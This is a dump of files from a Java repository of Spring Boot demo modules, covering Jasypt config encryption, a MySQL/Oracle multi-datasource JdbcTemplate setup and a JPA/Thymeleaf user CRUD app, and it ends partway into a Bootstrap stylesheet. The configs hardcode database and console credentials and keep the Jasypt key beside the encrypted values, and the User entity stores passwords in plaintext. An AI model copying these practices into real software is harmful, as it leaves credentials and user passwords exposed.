    "content": "package com.yangzheng.utils;\n\nimport org.jasypt.encryption.pbe.StandardPBEStringEncryptor;\nimport org.jasypt.util.text.BasicTextEncryptor;\n\n/**\n * @author yangzheng\n * @description\n * @date 2022/6/1 00115:54\n */\npublic class EncryptConfigUtil {\n\n    public static void main(String[] args) {\n\n        BasicTextEncryptor textEncryptor = new BasicTextEncryptor();\n        //加密所需的salt\n        textEncryptor.setPassword(\"123456\");\n        //要加密的数据（数据库的用户名或密码）\n        String username = textEncryptor.encrypt(\"root\");\n        String password = textEncryptor.encrypt(\"\");\n        System.out.println(\"username:\"+username);\n        System.out.println(\"password:\"+password);\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/src/main/resources/application.properties",
    "content": "jasypt.encryptor.password=123456\n\nspring.datasource.druid.url=jdbc:mysql://127.0.0.1:3306/test666?useUnicode=true&characterEncoding=utf-8&useSSL=false\n#spring.datasource.druid.username=root\n#spring.datasource.druid.password=\nspring.datasource.druid.username= ENC(LamEaIlsVJ4O8JK5eTioLg==)\nspring.datasource.druid.password= ENC(LIBWKJd+2DJKa/dCZD9Z9A==)\nspring.datasource.druid.max-active=20\nspring.datasource.druid.initial-size=5\nspring.datasource.druid.min-idle=5\nspring.datasource.druid.min-evictable-idle-time-millis=300000\nspring.datasource.druid.max-wait=60000\nspring.datasource.druid.validation-query=select 1\nspring.datasource.druid.test-on-borrow=false\nspring.datasource.druid.test-on-return=false\nspring.datasource.druid.test-while-idle=true\nspring.datasource.druid.time-between-eviction-runs-millis=60000\n\nmybatis.type-aliases-package=com.yangzheng.shardingsphere.entity\nmybatis.mapper-locations = classpath:mapper/**/*.xml\n\n\nspring.redis.host=localhost\nspring.redis.port= 6379\n#spring.redis.password= 123456\nspring.redis.password= ENC(V7Iy0muP9BXMY0WwKkR3Qg==)\nspring.redis.timeout= 10000ms\nspring.redis.lettuce.pool.max-active= 8\nspring.redis.lettuce.pool.max-wait= -1ms\nspring.redis.lettuce.pool.max-idle= 8\nspring.redis.lettuce.pool.min-idle= 0\nspring.redis.lettuce.pool.database= 0\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/src/main/resources/mapper/jdbc/TestEncryptMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n\n<mapper namespace=\"com.yangzheng.mapper.TestEncryptMapper\">\n\n\t<!-- 可根据自己的需求，是否要使用 -->\n    <resultMap id=\"BaseResultMap\" type=\"com.yangzheng.entity.TestEncrypt\">\n        <result property=\"id\" column=\"id\"/>\n        <result property=\"name\" column=\"name\"/>\n    </resultMap>\n\n    <insert id=\"insert\" parameterType=\"com.yangzheng.entity.TestEncrypt\">\n        insert into test_encrypt(`name`) value(#{name});\n    </insert>\n\n    <select id=\"getTestEncryptById\" resultType=\"com.yangzheng.entity.TestEncrypt\">\n        select id,name from test_encrypt where id = #{id}\n    </select>\n\n\n</mapper>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jasypt/src/test/java/com/yangzheng/SpringbootJasyptApplicationTests.java",
    "content": "package com.yangzheng;\n\nimport org.junit.jupiter.api.Test;\nimport org.springframework.boot.test.context.SpringBootTest;\n\n@SpringBootTest\nclass SpringbootJasyptApplicationTests {\n\n    @Test\n    void contextLoads() {\n        System.out.println(\"test\");\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_jdbctemplate_multidatasource</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.9.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.7</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t    <groupId>org.mybatis.spring.boot</groupId>\n\t\t    <artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t    <version>1.3.1</version>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t\n\t\t<!-- oracle驱动 -->\n\t\t\n\t\t<!-- mysql驱动 -->\n\t\t<dependency>\n\t\t    <groupId>mysql</groupId>\n\t\t    <artifactId>mysql-connector-java</artifactId>\n\t\t</dependency>\n\n\t\t<!-- druid数据源驱动 -->\n\t\t<dependency>\n\t\t   <groupId>com.alibaba</groupId>\n\t\t   <artifactId>druid-spring-boot-starter</artifactId>\n\t\t   <version>1.1.6</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.oracle.database.jdbc</groupId>\n\t\t\t<artifactId>ojdbc5</artifactId>\n\t\t\t<version>11.2.0.4</version>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/java/com/springboot/Application.java",
    "content": "package com.springboot;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n\n@SpringBootApplication\npublic class Application {\n\t\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(Application.class,args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/java/com/springboot/controller/StudentController.java",
    "content": "package com.springboot.controller;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.springboot.service.StudentService;\n\n@RestController\npublic class StudentController {\n\t\n\t@Autowired\n\tprivate StudentService studentService;\n\t\n\t@RequestMapping(\"querystudentsfromoracle\")\n\tpublic List<Map<String, Object>> queryStudentsFromOracle(){\n\t\treturn this.studentService.getAllStudentsFromOralce();\n\t}\n\t\n\t@RequestMapping(\"querystudentsfrommysql\")\n\tpublic List<Map<String, Object>> queryStudentsFromMysql(){\n\t\treturn this.studentService.getAllStudentsFromMysql();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/java/com/springboot/dao/MysqlStudentDao.java",
    "content": "package com.springboot.dao;\n\nimport java.util.List;\nimport java.util.Map;\n\n\npublic interface MysqlStudentDao {\n\tList<Map<String, Object>> getAllStudents();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/java/com/springboot/dao/OracleStudentDao.java",
    "content": "package com.springboot.dao;\n\nimport java.util.List;\nimport java.util.Map;\n\npublic interface OracleStudentDao {\n\tList<Map<String, Object>> getAllStudents();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/java/com/springboot/dao/impl/MysqlStudentDaoImp.java",
    "content": "package com.springboot.dao.impl;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Repository;\n\nimport com.springboot.dao.MysqlStudentDao;\n\n@Repository\npublic class MysqlStudentDaoImp implements MysqlStudentDao{\n\t\n\t@Autowired\n\t@Qualifier(\"mysqlJdbcTemplate\")\n\tprivate JdbcTemplate jdbcTemplate;\n\n\t@Override\n\tpublic List<Map<String, Object>> getAllStudents() {\n\t\treturn this.jdbcTemplate.queryForList(\"select * from student\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/java/com/springboot/dao/impl/OracleStudentDaoImp.java",
    "content": "package com.springboot.dao.impl;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Repository;\n\nimport com.springboot.dao.OracleStudentDao;\n\n@Repository\npublic class OracleStudentDaoImp implements OracleStudentDao{\n\n\t@Autowired\n\t@Qualifier(\"oracleJdbcTemplate\")\n\tprivate JdbcTemplate jdbcTemplate;\n\n\t@Override\n\tpublic List<Map<String, Object>> getAllStudents() {\n\t\treturn this.jdbcTemplate.queryForList(\"select * from student\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/java/com/springboot/datasource/DataSourceConfig.java",
    "content": "package com.springboot.datasource;\n\nimport javax.sql.DataSource;\n\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceBuilder;\n\n@Configuration\npublic class DataSourceConfig {\n\t@Primary\n\t@Bean(name = \"mysqldatasource\")\n\t@ConfigurationProperties(\"spring.datasource.druid.mysql\")\n\tpublic DataSource dataSourceOne(){\n\t    return DruidDataSourceBuilder.create().build();\n\t}\n\t\n\t@Bean(name = \"oracledatasource\")\n\t@ConfigurationProperties(\"spring.datasource.druid.oracle\")\n\tpublic DataSource dataSourceTwo(){\n\t    return DruidDataSourceBuilder.create().build();\n\t}\n\n\t@Bean(name = \"mysqlJdbcTemplate\")\n\tpublic JdbcTemplate primaryJdbcTemplate(\n\t        @Qualifier(\"mysqldatasource\") DataSource dataSource) {\n\t    return new JdbcTemplate(dataSource);\n\t}\n\t\n\t@Bean(name = \"oracleJdbcTemplate\")\n\tpublic JdbcTemplate secondaryJdbcTemplate(\n\t        @Qualifier(\"oracledatasource\") DataSource dataSource) {\n\t    return new JdbcTemplate(dataSource);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/java/com/springboot/service/StudentService.java",
    "content": "package com.springboot.service;\n\nimport java.util.List;\nimport java.util.Map;\n\npublic interface StudentService {\n\tList<Map<String, Object>> getAllStudentsFromOralce();\n\tList<Map<String, Object>> getAllStudentsFromMysql();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/java/com/springboot/service/impl/StudentServiceImp.java",
    "content": "package com.springboot.service.impl;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.springboot.dao.MysqlStudentDao;\nimport com.springboot.dao.OracleStudentDao;\nimport com.springboot.service.StudentService;\n\n@Service(\"studentService\")\npublic class StudentServiceImp implements StudentService{\n\t@Autowired\n\tprivate OracleStudentDao oracleStudentDao;\n\t@Autowired\n\tprivate MysqlStudentDao mysqlStudentDao;\n\t\n\t@Override\n\tpublic List<Map<String, Object>> getAllStudentsFromOralce() {\n\t\treturn this.oracleStudentDao.getAllStudents();\n\t}\n\n\t@Override\n\tpublic List<Map<String, Object>> getAllStudentsFromMysql() {\n\t\treturn this.mysqlStudentDao.getAllStudents();\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/resources/application.yml",
    "content": "server:\n  context-path: /web\n\nspring:\n  datasource:\n    druid:\n      # 数据库访问配置, 使用druid数据源\n      # 数据源1 mysql\n      mysql:\n        type: com.alibaba.druid.pool.DruidDataSource\n        driver-class-name: com.mysql.jdbc.Driver\n        url: jdbc:mysql://localhost:3306/test666?useUnicode=true&characterEncoding=UTF-8&rewriteBatchedStatements=true&autoReconnect=true&failOverReadOnly=false&zeroDateTimeBehavior=convertToNull\n        username: root\n        password: \n      # 数据源2 oracle\n      oracle: \n        type: com.alibaba.druid.pool.DruidDataSource\n        driver-class-name: oracle.jdbc.driver.OracleDriver\n        url: jdbc:oracle:thin:@localhost:1521:ORCL\n        username: test\n        password: 123456\n        \n      # 连接池配置\n      initial-size: 5\n      min-idle: 5\n      max-active: 20\n      # 连接等待超时时间\n      max-wait: 30000\n      # 配置检测可以关闭的空闲连接间隔时间\n      time-between-eviction-runs-millis: 60000\n      # 配置连接在池中的最小生存时间\n      min-evictable-idle-time-millis: 300000\n      validation-query: select '1' from dual\n      test-while-idle: true\n      test-on-borrow: false\n      test-on-return: false\n      # 打开PSCache，并且指定每个连接上PSCache的大小\n      pool-prepared-statements: true\n      max-open-prepared-statements: 20\n      max-pool-prepared-statement-per-connection-size: 20\n      # 配置监控统计拦截的filters, 去掉后监控界面sql无法统计, 'wall'用于防火墙\n      filters: stat,wall\n      # Spring监控AOP切入点，如x.y.z.service.*,配置多个英文逗号分隔\n      aop-patterns: com.springboot.servie.*\n      \n    \n      # WebStatFilter配置\n      web-stat-filter:\n        enabled: true\n        # 添加过滤规则\n        url-pattern: /*\n        # 忽略过滤的格式\n        exclusions: '*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*'\n      \n      # StatViewServlet配置 \n      stat-view-servlet:\n        enabled: true\n        # 访问路径为/druid时，跳转到StatViewServlet\n        url-pattern: /druid/*\n        # 是否能够重置数据\n        reset-enable: false\n        # 需要账号密码才能访问控制台\n        login-username: druid\n        login-password: druid123\n        # IP白名单\n        # allow: 127.0.0.1\n        #　IP黑名单（共同存在时，deny优先于allow）\n        # deny: 192.168.1.218\n      \n      # 配置StatFilter\n      filter: \n        stat: \n          log-slow-sql: true \n\n     "
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/resources/mysql_sql.sql",
    "content": "/*\nNavicat MySQL Data Transfer\n\nSource Server         : localhost_3306\nSource Server Version : 50717\nSource Host           : localhost:3306\nSource Database       : test\n\nTarget Server Type    : MYSQL\nTarget Server Version : 50717\nFile Encoding         : 65001\n\nDate: 2018-05-02 14:32:22\n*/\n\nSET FOREIGN_KEY_CHECKS=0;\n\n-- ----------------------------\n-- Table structure for student\n-- ----------------------------\nDROP TABLE IF EXISTS `student`;\nCREATE TABLE `student` (\n  `SNO` varchar(3) NOT NULL,\n  `SNAME` varchar(10) NOT NULL,\n  `SSEX` char(2) NOT NULL,\n  `DATASOURCE` varchar(10) DEFAULT NULL\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\n\n-- ----------------------------\n-- Records of student\n-- ----------------------------\nINSERT INTO `student` VALUES ('001', 'KangKang', 'M', 'mysql');\nINSERT INTO `student` VALUES ('002', 'Mike', 'M', 'mysql');\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jdbctemplate_multidatasource/src/main/resources/oracle_sql.sql",
    "content": "/*\nNavicat Oracle Data Transfer\nOracle Client Version : 11.2.0.1.0\n\nSource Server         : localhost_test\nSource Server Version : 110200\nSource Host           : localhost:1521\nSource Schema         : TEST\n\nTarget Server Type    : ORACLE\nTarget Server Version : 110200\nFile Encoding         : 65001\n\nDate: 2018-05-02 14:31:18\n*/\n\n\n-- ----------------------------\n-- Table structure for STUDENT\n-- ----------------------------\nDROP TABLE STUDENT;\nCREATE TABLE STUDENT (\nSNO VARCHAR2(3 BYTE) NOT NULL ,\nSNAME VARCHAR2(9 BYTE) NOT NULL ,\nSSEX CHAR(2 BYTE) NOT NULL ,\nDATASOURCE VARCHAR2(10 BYTE) NULL \n)\nLOGGING\nNOCOMPRESS\nNOCACHE\n\n;\n\n-- ----------------------------\n-- Records of STUDENT\n-- ----------------------------\nINSERT INTO STUDENT VALUES ('001', 'KangKang', 'M ', 'oracle');\nINSERT INTO STUDENT VALUES ('002', 'Mike', 'M ', 'oracle');\nINSERT INTO STUDENT VALUES ('003', 'Jane', 'F ', 'oracle');\nINSERT INTO STUDENT VALUES ('004', 'Maria', 'F ', 'oracle');\n\n-- ----------------------------\n-- Checks structure for table STUDENT\n-- ----------------------------\nALTER TABLE STUDENT ADD CHECK (SNO IS NOT NULL);\nALTER TABLE STUDENT ADD CHECK (SNAME IS NOT NULL);\nALTER TABLE STUDENT ADD CHECK (SSEX IS NOT NULL);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    \n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_jpa_thymeleaf_curd</artifactId>\n\t<version>1.0</version>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.1.0.RELEASE</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-jpa</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-devtools</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <configuration>\n                    <fork>true</fork>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/java/com/jun/plugin/JpaThymeleafApplication.java",
    "content": "package com.jun.plugin;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\nimport org.springframework.boot.web.servlet.support.SpringBootServletInitializer;\n\n\n@SpringBootApplication\npublic class JpaThymeleafApplication extends SpringBootServletInitializer {\n    @Override\n    protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {\n        return application.sources(JpaThymeleafApplication.class);\n    }\n\n    public static void main(String[] args) throws Exception {\n        SpringApplication.run(JpaThymeleafApplication.class, args);\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/java/com/jun/plugin/model/User.java",
    "content": "package com.jun.plugin.model;\n\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.Id;\n\n@Entity\npublic class User {\n    @Id\n    @GeneratedValue\n    private long id;\n    @Column(nullable = false, unique = true)\n    private String userName;\n    @Column(nullable = false)\n    private String password;\n    @Column(nullable = false)\n    private int age;\n\n    public long getId() {\n        return id;\n    }\n\n    public User setId(long id) {\n        this.id = id;\n        return this;\n    }\n\n    public String getUserName() {\n        return userName;\n    }\n\n    public User setUserName(String userName) {\n        this.userName = userName;\n        return this;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public User setPassword(String password) {\n        this.password = password;\n        return this;\n    }\n\n    public int getAge() {\n        return age;\n    }\n\n    public User setAge(int age) {\n        this.age = age;\n        return this;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/java/com/jun/plugin/repository/UserRepository.java",
    "content": "package com.jun.plugin.repository;\n\nimport com.jun.plugin.model.User;\nimport org.springframework.data.jpa.repository.JpaRepository;\n\npublic interface UserRepository extends JpaRepository<User, Long> {\n\n    User findById(long id);\n\n    void deleteById(Long id);\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/java/com/jun/plugin/service/UserService.java",
    "content": "package com.jun.plugin.service;\n\nimport com.jun.plugin.model.User;\n\nimport java.util.List;\n\npublic interface UserService {\n\n    public List<User> getUserList();\n\n    public User findUserById(long id);\n\n    public void save(User user);\n\n    public void edit(User user);\n\n    public void delete(long id);\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/java/com/jun/plugin/service/impl/UserServiceImpl.java",
    "content": "package com.jun.plugin.service.impl;\n\nimport com.jun.plugin.repository.UserRepository;\nimport com.jun.plugin.service.UserService;\nimport com.jun.plugin.model.User;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n@Service\npublic class UserServiceImpl implements UserService {\n\n    @Autowired\n    private UserRepository userRepository;\n\n    @Override\n    public List<User> getUserList() {\n        return userRepository.findAll();\n    }\n\n    @Override\n    public User findUserById(long id) {\n        return userRepository.findById(id);\n    }\n\n    @Override\n    public void save(User user) {\n        userRepository.save(user);\n    }\n\n    @Override\n    public void edit(User user) {\n        userRepository.save(user);\n    }\n\n    @Override\n    public void delete(long id) {\n        userRepository.deleteById(id);\n    }\n}\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/java/com/jun/plugin/web/HelloController.java",
    "content": "package com.jun.plugin.web;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.Model;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\n\n@Controller\npublic class HelloController {\n\n    @RequestMapping(\"/hello\")\n    public String hello(Model model, @RequestParam(value=\"name\", required=false, defaultValue=\"World\") String name) {\n        model.addAttribute(\"name\", name);\n        return \"hello\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/java/com/jun/plugin/web/UserController.java",
    "content": "package com.jun.plugin.web;\n\nimport com.jun.plugin.service.UserService;\nimport com.jun.plugin.model.User;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.Model;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\nimport javax.annotation.Resource;\nimport java.util.List;\n\n@Controller\npublic class UserController {\n\n    @Resource\n    UserService userService;\n\n\n    @RequestMapping(\"/\")\n    public String index() {\n        return \"redirect:/list\";\n    }\n\n    @RequestMapping(\"/list\")\n    public String list(Model model) {\n        List<User> users=userService.getUserList();\n        model.addAttribute(\"users\", users);\n        return \"user/list\";\n    }\n\n    @RequestMapping(\"/toAdd\")\n    public String toAdd() {\n        return \"user/userAdd\";\n    }\n\n    @RequestMapping(\"/add\")\n    public String add(User user) {\n        userService.save(user);\n        return \"redirect:/list\";\n    }\n\n    @RequestMapping(\"/toEdit\")\n    public String toEdit(Model model,Long id) {\n        User user=userService.findUserById(id);\n        model.addAttribute(\"user\", user);\n        return \"user/userEdit\";\n    }\n\n    @RequestMapping(\"/edit\")\n    public String edit(User user) {\n        userService.edit(user);\n        return \"redirect:/list\";\n    }\n\n\n    @RequestMapping(\"/delete\")\n    public String delete(Long id) {\n        userService.delete(id);\n        return \"redirect:/list\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/resources/application.properties",
    "content": "spring.datasource.url=jdbc:mysql://127.0.0.1/test?useUnicode=true&characterEncoding=utf-8&serverTimezone=UTC&useSSL=true\nspring.datasource.username=root\nspring.datasource.password=root\nspring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver\n\nspring.jpa.properties.hibernate.hbm2ddl.auto=create\nspring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5InnoDBDialect\nspring.jpa.show-sql= true\n\nspring.thymeleaf.cache=false"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/resources/static/css/bootstrap.css",
    "content": "/*!\n * Bootstrap v3.3.6 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */\nhtml {\n  font-family: sans-serif;\n  -webkit-text-size-adjust: 100%;\n      -ms-text-size-adjust: 100%;\n}\nbody {\n  margin: 0;\n}\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n  display: block;\n}\naudio,\ncanvas,\nprogress,\nvideo {\n  display: inline-block;\n  vertical-align: baseline;\n}\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n[hidden],\ntemplate {\n  display: none;\n}\na {\n  background-color: transparent;\n}\na:active,\na:hover {\n  outline: 0;\n}\nabbr[title] {\n  border-bottom: 1px dotted;\n}\nb,\nstrong {\n  font-weight: bold;\n}\ndfn {\n  font-style: italic;\n}\nh1 {\n  margin: .67em 0;\n  font-size: 2em;\n}\nmark {\n  color: #000;\n  background: #ff0;\n}\nsmall {\n  font-size: 80%;\n}\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\nsup {\n  top: -.5em;\n}\nsub {\n  bottom: -.25em;\n}\nimg {\n  border: 0;\n}\nsvg:not(:root) {\n  overflow: hidden;\n}\nfigure {\n  margin: 1em 40px;\n}\nhr {\n  height: 0;\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n}\npre {\n  overflow: auto;\n}\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  margin: 0;\n  font: inherit;\n  color: inherit;\n}\nbutton {\n  overflow: visible;\n}\nbutton,\nselect {\n  text-transform: none;\n}\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  -webkit-appearance: button;\n  cursor: pointer;\n}\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\ninput {\n  line-height: normal;\n}\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n  padding: 0;\n}\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n  -webkit-appearance: textfield;\n}\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\nfieldset {\n  padding: .35em .625em .75em;\n  margin: 0 2px;\n  border: 1px solid #c0c0c0;\n}\nlegend {\n  padding: 0;\n  border: 0;\n}\ntextarea {\n  overflow: auto;\n}\noptgroup {\n  font-weight: bold;\n}\ntable {\n  border-spacing: 0;\n  border-collapse: collapse;\n}\ntd,\nth {\n  padding: 0;\n}\n/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n@media print {\n  *,\n  *:before,\n  *:after {\n    color: #000 !important;\n    text-shadow: none !important;\n    background: transparent !important;\n    -webkit-box-shadow: none !important;\n            box-shadow: none !important;\n  }\n  a,\n  a:visited {\n    text-decoration: underline;\n  }\n  a[href]:after {\n    content: \" (\" attr(href) \")\";\n  }\n  abbr[title]:after {\n    content: \" (\" attr(title) \")\";\n  }\n  a[href^=\"#\"]:after,\n  a[href^=\"javascript:\"]:after {\n    content: \"\";\n  }\n  pre,\n  blockquote {\n    border: 1px solid #999;\n\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  img {\n    max-width: 100% !important;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  .navbar {\n    display: none;\n  }\n  .btn > .caret,\n  .dropup > .btn > .caret {\n    border-top-color: #000 !important;\n  }\n  .label {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #ddd !important;\n  }\n}\n@font-face {\n  